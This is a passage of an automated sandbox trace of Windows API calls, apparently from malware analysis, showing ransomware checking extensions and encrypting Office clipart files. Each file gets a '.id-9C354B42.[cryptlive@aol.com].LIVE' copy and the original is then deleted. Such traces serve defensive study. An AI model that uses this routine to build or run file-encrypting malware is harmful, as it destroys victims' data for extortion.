lpString2=".WMF") returned 1 [0159.669] lstrlenW (lpString=".rar") returned 4 [0159.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString=".bz2") returned 4 [0159.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString=".7z") returned 3 [0159.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.669] lstrlenW (lpString=".dbf") returned 4 [0159.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.669] lstrlenW (lpString=".1cd") returned 4 [0159.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.669] lstrlenW (lpString=".jpg") returned 4 [0159.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.669] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.669] lstrlenW (lpString="J0152716.WMF") returned 12 [0159.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0159.670] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4580) returned 1 [0159.670] CloseHandle (hObject=0x1b8) returned 1 [0159.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0159.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0159.671] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.671] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.671] GetLastError () returned 0x0 [0159.671] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x11e4, lpOverlapped=0x0) returned 1 [0159.681] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x11f0, lpOverlapped=0x0) returned 1 [0159.682] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.682] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.682] SetEndOfFile (hFile=0x350) returned 1 [0159.683] CloseHandle (hObject=0x350) returned 1 [0159.683] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.683] SetEndOfFile (hFile=0x1b8) returned 1 [0159.685] CloseHandle (hObject=0x1b8) returned 1 [0159.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.863] lstrlenW (lpString=".doc") returned 4 [0159.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.863] lstrlenW (lpString=".docx") returned 5 [0159.863] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.863] lstrlenW (lpString=".pdf") returned 4 [0159.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.863] lstrlenW (lpString=".xls") returned 4 [0159.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.863] lstrlenW (lpString=".xlsx") returned 5 [0159.863] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.863] lstrlenW (lpString=".ppt") returned 4 [0159.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.866] lstrlenW (lpString=".zip") returned 4 [0159.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.866] lstrlenW (lpString=".rar") returned 4 [0159.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString=".bz2") returned 4 [0159.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString=".7z") returned 3 [0159.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.866] lstrlenW (lpString=".dbf") returned 4 [0159.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.866] lstrlenW (lpString=".1cd") returned 4 [0159.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.866] lstrlenW (lpString=".jpg") returned 4 [0159.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.866] lstrlenW (lpString=".doc") returned 4 [0159.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString=".docx") returned 5 [0159.866] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.866] lstrlenW (lpString=".pdf") returned 4 [0159.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString=".xls") returned 4 [0159.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.866] lstrlenW (lpString=".xlsx") returned 5 [0159.866] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.866] lstrlenW (lpString=".ppt") returned 4 [0159.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.867] lstrlenW (lpString=".zip") returned 4 [0159.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.867] lstrlenW (lpString=".rar") returned 4 [0159.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.867] lstrlenW (lpString=".bz2") returned 4 [0159.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.867] lstrlenW (lpString=".7z") returned 3 [0159.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.867] lstrlenW (lpString=".dbf") returned 4 [0159.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.867] lstrlenW (lpString=".1cd") returned 4 [0159.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0159.867] lstrlenW (lpString=".jpg") returned 4 [0159.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.867] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.867] lstrlenW (lpString="J0152878.WMF") returned 12 [0159.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.874] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14888) returned 1 [0159.874] CloseHandle (hObject=0x384) returned 1 [0159.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0159.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.875] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.875] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.876] GetLastError () returned 0x0 [0159.876] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3a28, lpOverlapped=0x0) returned 1 [0159.878] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3a30, lpOverlapped=0x0) returned 1 [0159.879] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.879] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.879] SetEndOfFile (hFile=0x3c4) returned 1 [0159.879] CloseHandle (hObject=0x3c4) returned 1 [0159.879] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.879] SetEndOfFile (hFile=0x384) returned 1 [0159.882] CloseHandle (hObject=0x384) returned 1 [0159.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.883] lstrlenW (lpString=".doc") returned 4 [0159.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".docx") returned 5 [0159.883] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.883] lstrlenW (lpString=".pdf") returned 4 [0159.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".xls") returned 4 [0159.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.883] lstrlenW (lpString=".xlsx") returned 5 [0159.883] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.883] lstrlenW (lpString=".ppt") returned 4 [0159.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.883] lstrlenW (lpString=".zip") returned 4 [0159.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.883] lstrlenW (lpString=".rar") returned 4 [0159.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".bz2") returned 4 [0159.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".7z") returned 3 [0159.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString=".dbf") returned 4 [0159.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString=".1cd") returned 4 [0159.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString=".jpg") returned 4 [0159.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString=".doc") returned 4 [0159.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".docx") returned 5 [0159.884] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.884] lstrlenW (lpString=".pdf") returned 4 [0159.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".xls") returned 4 [0159.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.884] lstrlenW (lpString=".xlsx") returned 5 [0159.884] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.884] lstrlenW (lpString=".ppt") returned 4 [0159.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString=".zip") returned 4 [0159.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.884] lstrlenW (lpString=".rar") returned 4 [0159.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".bz2") returned 4 [0159.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".7z") returned 3 [0159.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.884] lstrlenW (lpString=".dbf") returned 4 [0159.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.885] lstrlenW (lpString=".1cd") returned 4 [0159.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0159.885] lstrlenW (lpString=".jpg") returned 4 [0159.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.885] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.885] lstrlenW (lpString="J0152882.WMF") returned 12 [0159.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.885] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9072) returned 1 [0159.885] CloseHandle (hObject=0x384) returned 1 [0159.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0159.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.886] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.886] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.887] GetLastError () returned 0x0 [0159.887] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2370, lpOverlapped=0x0) returned 1 [0159.888] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2380, lpOverlapped=0x0) returned 1 [0159.890] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.890] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.890] SetEndOfFile (hFile=0x3c4) returned 1 [0159.890] CloseHandle (hObject=0x3c4) returned 1 [0159.890] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.890] SetEndOfFile (hFile=0x384) returned 1 [0159.892] CloseHandle (hObject=0x384) returned 1 [0159.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.894] lstrlenW (lpString=".doc") returned 4 [0159.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.894] lstrlenW (lpString=".docx") returned 5 [0159.894] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.894] lstrlenW (lpString=".pdf") returned 4 [0159.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.894] lstrlenW (lpString=".xls") returned 4 [0159.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.894] lstrlenW (lpString=".xlsx") returned 5 [0159.894] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.894] lstrlenW (lpString=".ppt") returned 4 [0159.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.894] lstrlenW (lpString=".zip") returned 4 [0159.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.894] lstrlenW (lpString=".rar") returned 4 [0159.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.894] lstrlenW (lpString=".bz2") returned 4 [0159.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.894] lstrlenW (lpString=".7z") returned 3 [0159.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.894] lstrlenW (lpString=".dbf") returned 4 [0159.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.895] lstrlenW (lpString=".1cd") returned 4 [0159.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.895] lstrlenW (lpString=".jpg") returned 4 [0159.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.895] lstrlenW (lpString=".doc") returned 4 [0159.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.895] lstrlenW (lpString=".docx") returned 5 [0159.895] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.895] lstrlenW (lpString=".pdf") returned 4 [0159.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.895] lstrlenW (lpString=".xls") returned 4 [0159.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.895] lstrlenW (lpString=".xlsx") returned 5 [0159.895] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.895] lstrlenW (lpString=".ppt") returned 4 [0159.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.895] lstrlenW (lpString=".zip") returned 4 [0159.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.895] lstrlenW (lpString=".rar") returned 4 [0159.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.896] lstrlenW (lpString=".bz2") returned 4 [0159.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.896] lstrlenW (lpString=".7z") returned 3 [0159.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.896] lstrlenW (lpString=".dbf") returned 4 [0159.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.896] lstrlenW (lpString=".1cd") returned 4 [0159.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 